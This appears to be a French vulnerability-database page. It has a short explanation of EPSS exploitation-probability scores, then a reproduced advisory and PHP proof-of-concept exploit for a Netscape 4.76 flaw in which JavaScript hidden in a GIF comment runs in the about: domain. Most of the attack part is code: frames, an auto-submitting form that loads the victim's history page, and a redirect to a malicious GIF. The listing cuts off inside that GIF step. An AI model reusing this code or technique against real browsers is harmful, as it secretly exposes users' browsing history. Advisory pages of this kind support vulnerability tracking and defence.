EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/2637/info Due to a flaw in Navigator's security code, all URLs in the about: protocol are considered to be part of the same domain. If arbitrary Javascript code is placed in a GIF's comment field, it is treated like a normal HTML page. The Javascript code will run from the image information page in the internal about: 'domain'. This issue has also been reported in commented JPEG files. <? /* Netscape 4.76 gif comment flaw Florian Wesch <fw@dividuum.de> http://dividuum.de */ $self="http://".$SERVER_NAME.(($SERVER_PORT==80)?"":":$SERVER_PORT").$PHP_SELF; if (strlen($self)>64) { echo "Url of $self is too long. 64 maximum.<br>"; echo "You can change this but I think 64 should be enough for anybody ;-)"; exit; } if (!isset($mode)) $mode="intro"; // If urllist is submitted if (isset($u)) $mode="showhist"; switch ($mode) { case "intro": ?> <html> <body> <a href="<? echo $self; ?>?mode=frameset">Submit 10 urls of your history</a><br> </body> </html> <? break; case "frameset": ?> <html> <frameset rows="50%,50%" border=0 frameborder=0 framespacing=0> <frame src="<? echo $self; ?>?mode=loadhistory" name="foo" scrolling=no> <frame src="<? echo $self; ?>?mode=showimageinfo" name="bar" scrolling=no> </frameset> </html> <? break; case "loadhistory": // replaces the current document with about:global using javascript ?> <html> <base href="about:"> <form action="global" name="loadhistory"> <input type="submit"> </form> <script language="javascript"> document.loadhistory.submit(); </script> </html> <? break; case "showimageinfo": ?> <html> <head> <meta http-equiv="refresh" content="5; URL=about:<? echo $self; ?>?mode=evilgif"> </head> <body> Waiting 5 seconds...<br> <img src="<? echo $self; ?>?mode=evilgif"> </body> </html> <? break; case "evilgif": // Gifs are supposed to be compressed.
